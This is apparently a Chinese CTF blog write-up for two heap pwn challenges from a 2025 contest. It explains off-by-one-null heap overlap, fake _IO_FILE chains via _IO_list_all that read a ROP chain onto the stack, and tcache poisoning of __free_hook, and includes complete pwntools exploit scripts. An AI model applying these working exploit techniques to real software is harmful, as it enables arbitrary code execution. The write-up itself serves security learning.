当前位置: 首页 > news >正文

[央企大赛 2025] pwn

拿到堆附件,不清楚哪个是密码哪个是pwn,找到两个pwn,一个RSA密码相对简单(已知e,d,N,直接用N解出k((ed-1)//phi_N==(ed-1)//N^2),然后求p+q,而phi_N正好是p+q的2次方程)。就只复现了两个pwn,感觉还有些难的。

小红书的记事本

一个不常见的libc版本 2.33下载glibc里居然在河北的DNS给拦截了,原因好像是未备案。这ubuntu.com有必要在河北备案吗。

堆题,有add,free,show,漏洞在add处有个off_by_one_null

__int64 __fastcall sub_C40(_BYTE *a1, int a2)
{int i; // [rsp+1Ch] [rbp-4h]if ( a2 <= 0 )return 0LL;for ( i = 0; ; ++i ){if ( (unsigned int)read(0, a1, 1uLL) != 1 )return 1LL;if ( *a1 == 10 )break;++a1;if ( i == a2 )           /*会多读入1字符*/break;}*a1 = 0;                   /*在读入字符后加一个\0 */return 0LL;
}

这个带\0截断的确实比较麻烦,又没有edit。这里可以建个0x10000的块,在利用前面块的1字节溢出修改尾字节,包含后边的块,在free以后造重叠块。

另外一个小坑是,这个版本unsort的指针尾字节也是0,只能建大块让unsort进入smallbin再泄露。

然后是禁用了exec 用IO_list_all造fake_file,原来存了一个模板。先造一个fake_file输出environ再链接下一个fake_file读第3个fake_file,第3个把ROP读到栈上。

由于是通过触发的exit,它调用fcloseall_0,所以ROP要写在fcloseall_0的返回地址处。

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.33.so')#在add写入时可以多写1字节,但最后会加\0
def add(idx,size,msg=b'\n'):p.sendafter(b"Choice:\n", b'1'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p.sendafter(b"Size: \n", str(size).encode().ljust(8,b'\0'))p.sendafter(b"Content: \n", msg)def show(idx):p.sendafter(b"Choice:\n", b'2'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p.recvuntil(b"Content: \n")def free(idx):p.sendafter(b"Choice:\n", b'3'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p = process('./pwn')#unsort xxx00
for i,s in enumerate([0x18,0x10000,0x18,0x48,0x58,0x48,0x58]):add(i,s,b'\n')free(0)
add(0,0x18,b'\0'*0x18+p8(0xe1)) #将0x10011改为0x100e1包含1+2+3+4
free(1)
add(1,0x10000)
add(7,0xf0) #0xd0 unsort->smallbin   unsort的指针尾地址为0,将unsort转为smallbin再泄露
show(2)
libc.address = u64(p.recv(6)+b'\0\0') - 0x1e0cc0
print(f"{libc.address = :x}")add(12,0x18)
add(13,0xa0) #13=3+4 无法用完smallbin,至少保留0x20
free(12)
add(12,0x18, b'1'*0x18+p8(0x51))  #0xb1->0x51
free(3) #13==3
show(13)
heap = (u64(p.recvuntil(b'Done', drop=True).ljust(8, b'\0')) <<12) 
print(f"{heap = :x}")add(3,0x48)
free(5)
free(3)
free(12)
add(12,0x18, b'1'*0x18+p8(0xb1))
free(13)
add(13, 0xa8, p64(libc.sym['_IO_list_all']^(heap>>12))[:-1]+b'\n')
free(12)
add(12,0x18, b'1'*0x18+p8(0x51))
add(5, 0x48)
add(15,0x48, p64(heap-0x10000+0x2c0)+b'\n') #_IO_list_all = chunk1#fake_file
pop_rdi = libc.address + 0x0000000000028a55 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002a4cf # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000c7f32 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000044c70 # pop rax ; ret
syscall = libc.sym['getpid'] + 9# _IO_list_all->chunk1 
heap_base = heap - 0x10000 + 0x2c0 #chunk1
print(f"{heap_base = :x}")
#write environ + read file:read_rop
#write(1,environ,8) 先执行第1个file输出environ的栈地址,_chain指向第2个file
fake_io_write = flat({0x00: 0x8000 | 0x800 | 0x1000, #_flags0x20: libc.symbols["environ"], #_IO_write_base0x28: libc.symbols["environ"] + 8, #_IO_write_ptr0x68: heap_base+ 0x100, #_chain -> fake_io_read    0x70: 1, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')#read(0,heap_base+0x200,0x100) 第2个file读入第3个file
fake_io_read = flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: heap_base + 0x200, #_IO_write_base0x28: heap_base + 0x300, #_IO_write_ptr0x68: heap_base + 0x200, #_chain -> fake_read_rop0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')free(1)
add(1,0x1000, payload+b'\n')#gdb.attach(p, "b*0x7ffff7e19240\nc")
p.sendafter(b"Choice:\n", b'4'.ljust(8,b'\0'))  #执行exit时执行io_file
#main.ret
#exit->fcloseall_0->_IO_file_overflow ROP写的位置是fcloseall_0的返回地址处
target = u64(p.recv(8)) - 0x100 - 8 -0x90 #fcloseall_0.ret-8
print(f"{target = :x}")chain = b'flag\0\0\0\0'+ flat([pop_rdi , target , pop_rsi , 0 , pop_rax,2, syscall,pop_rdi , 3 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,0, syscall,pop_rdi , 1 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,1, syscall])#第3个file将rop读到栈上
fake_io_read = flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: target, #_IO_write_base0x28: target + len(chain), #_IO_write_ptr0x68: 0, #_chain0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00').ljust(0x100, b'\x00')
p.send(fake_io_read)p.send(chain)p.interactive()

xheap

这个也是很麻烦。

题目先mmap了一个块,

在建块时同时在堆内建一个0x30以内的块并在mmap里建一个0x20-0x100的块。

free时mmap里的块通过双向指针成链(含size)使用size相同的块,并且指针与一个类似key的随机生成的值异或。

漏洞在于mmap里的模拟的堆没有头,或以写溢出1字节。

在造的块内伪造链表,并利用off_by_one修改尾字节指到fake链上,由这个链将content块建到堆里。控制一个块头和指针。通过修改头和tcache.counter,将块释放到unsort得到libc然后往free_hook里写system

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6') #2.27-3ubuntu1.6_amd64def add(s1=0x18,m1=b'\n',s2=0x30,m2=b'\n'):p.sendlineafter(b"Your Choice: ", b'1')p.sendlineafter(b"title size: ", str(s1).encode())p.sendlineafter(b"content size: ", str(s2).encode())p.sendafter(b"title: ", m1)p.sendafter(b"content: ", m2)def free(idx):p.sendlineafter(b"Your Choice: ", b'2')p.sendlineafter(b"idx: ", str(idx).encode())def show(idx):p.sendlineafter(b"Your Choice: ", b'3')p.sendlineafter(b"idx: ", str(idx).encode())def edit(idx,m1,m2):p.sendlineafter(b"Your Choice: ", b'4')p.sendlineafter(b"idx: ", str(idx).encode())p.sendafter(b"title: ", m1)p.sendafter(b"content: ", m2)p = process('./pwn_ori')add()
add()
add()
add(s1=0x30)free(0)
free(2)
'''
0x555555603050: 0x00000deadbeef060      0x0000000000000000
0x555555603060: 0x3a9027da69f65ec9      0x0000000000000000
0x555555603070: 0x0000000000000000      0x0000000000000000
0x555555603080: 0x0000555555a01260  0x0000000000000018  0x00000deadbeef000  0x0000000000000020  0x0000000000000000 0x0000555555a01280  0x0000000000000018  0x00000deadbeef030  0x0000000000000020  0x0000000000000001
0x5555556030d0: 0x0000555555a012a0  0x0000000000000018  0x00000deadbeef060  0x0000000000000020  0x00000000000000000x0000555555a012c0  0x0000000000000018  0x00000deadbeef090  0x0000000000000020  0x0000000000000001
'''
add(1,b'\x60',0x30,b'A'*8) #0
show(0)
p.recvuntil(b"title: ")
heap = u64(p.recvline()[:-1].ljust(8,b'\0')) - 0x260
p.recvuntil(b"content: ")
p.recv(8)
key = u64(p.recv(8))
print(f"{heap = :x} {key = :x}")
xheap = 0x00000deadbeef000add() #2
free(2)
free(0)#gdb.attach(p, "b*0x555555401535\nc")edit(1, flat(key, key^((xheap+0x60)>>4),0x50), flat(0,0,key, key^((xheap+0x60)>>4),0x40, 0) + p64(key^((xheap+0x40)>>4))[:1] )add(0x28,b'000\n', 0x40, flat(0,0,0,0,key^((heap+0x280)>>4)))
add(0x28,b'111\n',0x50, flat(0,0,0,0x91,heap+0x10)) #2add(s1=0x18) #4
add(s1=0x18, m1=b'\0'*7+b'\x07\n') #5
free(4)edit(2,b'\n',b'A'*0x20)
show(2)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0
print(f"{libc.address = :x}")edit(2,b'\n',flat(0,0,0,0x91))
add(s1=0x20) #4
free(4)
#tcache attack
edit(2,b'\n',flat(0,0,0,0x31, libc.sym['__free_hook']))
add(0x20, b'/bin/sh\0\n') #4
add(0x20, p64(libc.sym['system'])+b'\n')free(4)
p.interactive()

相关文章:

[央企大赛 2025] pwn

拿到堆附件&#xff0c;不清楚哪个是密码哪个是pwn&#xff0c;找到两个pwn&#xff0c;一个RSA密码相对简单&#xff08;已知e,d,N,直接用N解出k((ed-1)//phi_N(ed-1)//N^2),然后求pq&#xff0c;而phi_N正好是pq的2次方程&#xff09;。就只复现了两个pwn&#xff0c;感觉还有…...

C语言初阶--折半查找算法

目录 练习1&#xff1a;在一个有序数组中查找具体的某个数字n 练习2&#xff1a;编写代码&#xff0c;演示多个字符从两端移动&#xff0c;向中间汇聚 练习3&#xff1a;简单编写代码实现&#xff0c;模拟用户登录情景&#xff0c;并且只能登录三次 练习4&#xff1a;猜数字…...

Python!从0开始学爬虫:(一)HTTP协议 及 请求与响应

前言 爬虫需要基础知识&#xff0c;HTTP协议只是个开始&#xff0c;除此之外还有很多&#xff0c;我们慢慢来记录。 今天的HTTP协议&#xff0c;会有助于我们更好的了解网络。 一、什么是HTTP协议 &#xff08;1&#xff09;定义 HTTP&#xff08;超文本传输协议&#xff…...

[ Spring ] Spring Cloud Gateway 2025 Comprehensive Overview

文章目录 Spring Gateway ArchitectureProject Level DependencyService CenterService ProviderGateway ServiceLaunch All Service Spring Gateway Architecture Service Center : register and find service providerService Provider : programs that provide actual serv…...

【项目初始化】自定义异常处理

我们在项目初始化的工作之一就是要自定义异常处理&#xff0c;用来处理项目中出现的各种异常&#xff0c;如业务异常、系统异常等等。 这些属于项目的通用基础代码&#xff0c;在任何后端中都可以复用。 1. 自定义错误码 自定义错误码&#xff0c;对错误进行收敛&#xff0c;…...

Windows10安装MySQL找不到MSVCR120.dll和MSVCP120.dll问题解决

个人博客地址&#xff1a;Windows10安装MySQL找不到MSVCR120.dll和MSVCP120.dll问题解决 | 一张假钞的真实世界 msvcp120.dll、msvcr120.dll、vcomp120.dll属于VC2013版中的动态链接库&#xff0c;如果丢失重新安装VC2013即可。下载地址&#xff1a;https://www.microsoft.com…...

【嵌入式】总结——Linux驱动开发(三)

鸽了半年&#xff0c;几乎全忘了&#xff0c;幸亏前面还有两篇总结。出于快速体验嵌入式linux的目的&#xff0c;本篇与前两篇一样&#xff0c;重点在于使用、快速体验&#xff0c;uboot、linux、根文件系统不作深入理解&#xff0c;能用就行。 重新梳理一下脉络&#xff0c;本…...

计算机图形学:实验三 光照与阴影

一、程序功能设计 设置了一个3D渲染场景&#xff0c;支持通过键盘和鼠标控制交互&#xff0c;能够动态调整光源位置、物体材质参数等&#xff0c;具有光照、阴影和材质效果的场景渲染。 OpenGL物体渲染和设置 创建3D物体&#xff1a;代码中通过 openGLObject 结构体表示一个…...

「 机器人 」扑翼飞行器混合控制策略缺点浅谈

前言 将基于模型的控制与强化学习策略融合在扑翼飞行器中,虽然能够兼顾系统稳定性与极限机动能力,但也面临了更高的系统复杂性、对硬件算力与可靠性的额外要求,以及难以回避的能量效率等方面挑战。以下从四个方面进行归纳与分析。 1. 系统复杂性增加 1.1 两种控制方法的并存…...

蓝桥杯算法日常|c\c++常用竞赛函数总结备用

一、字符处理相关函数 大小写判断函数 islower和isupper&#xff1a;是C标准库中的字符分类函数&#xff0c;用于检查一个字符是否为小写字母或大写字母&#xff0c;需包含头文件cctype.h&#xff08;也可用万能头文件包含&#xff09;。返回布尔类型值。例如&#xff1a; #…...

每日十题八股-2025年1月24日

1.面试官&#xff1a;Kafka 百万消息积压如何处理&#xff1f; 2.面试官&#xff1a;最多一次、至少一次和正好一次有什么区别? 3.面试官&#xff1a;你项目是怎么存密码的? 4.面试官&#xff1a;如何设计一个分布式ID&#xff1f; 5.面试官&#xff1a;单点登录是怎么工作的…...

tomcat的accept-count、max-connections、max-threads三个参数的含义

tomcat的accept-count、max-connections、max-threads三个参数的含义 tomcat的accept-count、max-connections、max-threads三个参数的含义 max-connections&#xff1a;最大连接数 最大连接数是指&#xff0c;同一时刻&#xff0c;能够连接的最大请求数 需要注意的是&#x…...

【无标题】mysql python 连接

coding:utf8 import os import pymysql import yaml from common.log import logger class Mysql: # 处理.sql备份文件为SQL语句 def __read_sql_file(self,file_path): # 打开SQL文件到f sql_list = [] with open(file_path, ‘r’, encoding=‘utf8’) as f: # 逐行读取和…...

linux naive代理设置

naive linux客户端 Release v132.0.6834.79-2 klzgrad/naiveproxy GitHub Client setup Run ./naive with the following config.json to get a SOCKS5 proxy at local port 1080. {"listen": "socks://127.0.0.1:1080","proxy": "htt…...

[STM32 - 野火] - - - 固件库学习笔记 - - -十一.电源管理系统

一、电源管理系统简介 电源管理系统是STM32硬件设计和系统运行的基础&#xff0c;它不仅为芯片本身提供稳定的电源&#xff0c;还通过多种电源管理功能优化功耗、延长电池寿命&#xff0c;并确保系统的可靠性和稳定性。 二、电源监控器 作用&#xff1a;保证STM32芯片工作在…...

DBO优化最近邻分类预测matlab

蜣螂优化算法&#xff08;Dung Beetle Optimizer&#xff0c;简称 DBO&#xff09;作为一种新兴的群智能优化算法&#xff0c;于 2022 年末被提出&#xff0c;其灵感主要来源于蜣螂的滚球、跳舞、觅食、偷窃以及繁殖等行为。 本次使用的数据为 Excel 格式的分类数据集。该数据…...

【深入理解FFMPEG】命令行阅读笔记

这里写自定义目录标题 第三章 FFmpeg工具使用基础3.1 ffmpeg常用命令3.1.13.1.3 转码流程 3.2 ffprobe 常用命令3.2.1 ffprobe常用参数3.2.2 ffprobe 使用示例 3.3 ffplay常用命令3.3.1 ffplay常用参数3.3.2 ffplay高级参数3.3.4 ffplay快捷键 第4章 封装与解封装4.1 视频文件转…...

图形化数据报文转换映射工具

目录 概要整体架构流程技术名词解释技术细节小结 概要 在当今数字化时代&#xff0c;数据的处理和分析是企业、科研机构以及各类组织日常运营的核心环节。数据来源广泛&#xff0c;格式多样&#xff0c;常见的数据格式包括XML&#xff08;可扩展标记语言&#xff09;和JSON&a…...

智能体0门槛开发

分享一个智能体开发流程。 2025 年啊&#xff0c;好多专家还有行业报告都觉得这是智能体&#xff08;AI Agent&#xff09;应用的头一年。相关的应用在商业、工业、消费等好些领域都到了关键的时候&#xff0c;这意味着从实验室走向大规模实际应用的重要转变。而且呢&#xff0…...

ssh密钥登录GitHub时一直提示“Error: Permission denied (publickey)”

起因 环境&#xff1a;Windows10 背景&#xff1a;之前就是按照官方说明创建个rsa密钥&#xff0c;在git后台添加上&#xff0c;就行了&#xff0c;近期怎么添加怎么失败&#xff0c;总是“Error: Permission denied (publickey)”的提示&#xff01; 尝试 各种尝试&#xf…...

mapbox加载geojson,鼠标移入改变颜色,设置样式以及vue中的使用

全国地图json数据下载地址 目录 html加载全部代码 方式一&#xff1a;使用html方式加载geojson 1. 初始化地图 2. 加载geojson数据 设置geojson图层样式&#xff0c;设置type加载数据类型 设置线条 鼠标移入改变颜色&#xff0c;设置图层属性&#xff0c;此处是fill-extru…...

考研机试题:打印日期

描述 给出年分m和一年中的第n天&#xff0c;算出第n天是几月几号。 输入描述: 输入包括两个整数y(1<y<3000)&#xff0c;n(1<n<366)。 输出描述: 可能有多组测试数据&#xff0c;对于每组数据&#xff0c; 按 yyyy-mm-dd的格式将输入中对应的日期打印出来。 …...

OpenHarmonyOS 3.2 编译生成的hap和app文件的名称如何配置追加版本号?

找了一圈发现官方的文档都是最新的&#xff0c;3.2很多API都不支持&#xff0c;比如获取OhosAppContext&#xff0c;通过OhosAppContext来获取应用版本号&#xff0c;最终是通过读取app.json5的文件内容来读取版本号&#xff0c;最终修改entry下的hvigorfile.ts如下&#xff0c…...

【openwrt】openwrt odhcpd配置介绍

odhcpd odhcpd是一个嵌入式DHCP/DHCPv6/RA服务器和NDP中继的进程,odhcpd是一个守护进程,用于服务和中继IP管理协议,以配置客户端和下游路由器。它试图遵循IPv6家用路由器的RFC 6204要求。odhcpd为DHCP、RA、无状态SLAAC和有状态DHCPv6、前缀委派提供服务器服务,并可用于在没…...

基于神经网络的视频编码NNVC(1):帧内预测

在H.266/VVC发布后&#xff0c;基于传统编码框架提升压缩率越来越难&#xff0c;随着深度学习的发展&#xff0c;研究人员开始尝试将神经网络引入编码器。为此&#xff0c;JVET工作组在2020年成立AHG11小组来专门进行基于神经网络的视频编码的研究。 为了方便研究&#xff0c;工…...

Android开发,待办事项提醒App的设计与实现

文章目录 1. 研究目的2. 主要内容3. 运行效果图4. 涉及到的技术点5. 开发环境6. 关于作者其它项目视频教程介绍 1. 研究目的 当今,随着时代的发展和计算机的普及,人们开始利用网络来记录并管理日常的事务,时下这方面的软件数不胜数。各种日程管理软件就是将每天的工作和事务安…...

豆瓣Top250电影的数据采集与可视化分析(scrapy+mysql+matplotlib)

文章目录 豆瓣Top250电影的数据采集与可视化分析(scrapy+mysql+matplotlib)写在前面数据采集(Visual Studio Code+Navicat)1.观察网页信息2.编写Scrapy代码(Visual Studio Code)2.1 创建Scrapy项目`doubanProject`2.2 创建爬虫脚本`douban.py`2.3 修改`douban.py`的代码2…...

MySQL索引——让查询飞起来

文章目录 索引是什么&#xff1f;&#xff1f;硬件理解MySQL与存储 MySQL 与磁盘交互基本单位索引的理解B vs B聚簇索引 VS 非聚簇索引索引操作创建主键索引唯一索引的创建普通索引的创建全文索引的创建查询索引删除索引 在现代数据库应用中&#xff0c;查询性能是决定系统响应…...

Springboot集成Elasticsearch8.0(ES)版本,采用JAVA Client方式进行连接和实现CRUD操作

本文章介绍了 springboot t集成Elasticsearch8.0(ES)版本,如何通过 AVA Client方式进行连接和实现CRUD操作 在ES7.15版本之后,ES官方将高级客户端 RestHighLevelClient标记为弃用状态。同时推出了全新的 Java API客户端 Elasticsearch Java API Client,该客户端也将在 Ela…...

【Linux】APT 密钥管理迁移指南:有效解决 apt-key 弃用警告

引言 随着 Debian 11 和 Ubuntu 22.04 版本的推出&#xff0c;APT 的密钥管理方式发生了重大的变化。apt-key 命令被正式弃用&#xff0c;新的密钥管理机制要求使用 /etc/apt/keyrings/ 或 /etc/apt/trusted.gpg.d/ 来存储和管理密钥。这一变化对管理员和普通用户来说至关重要…...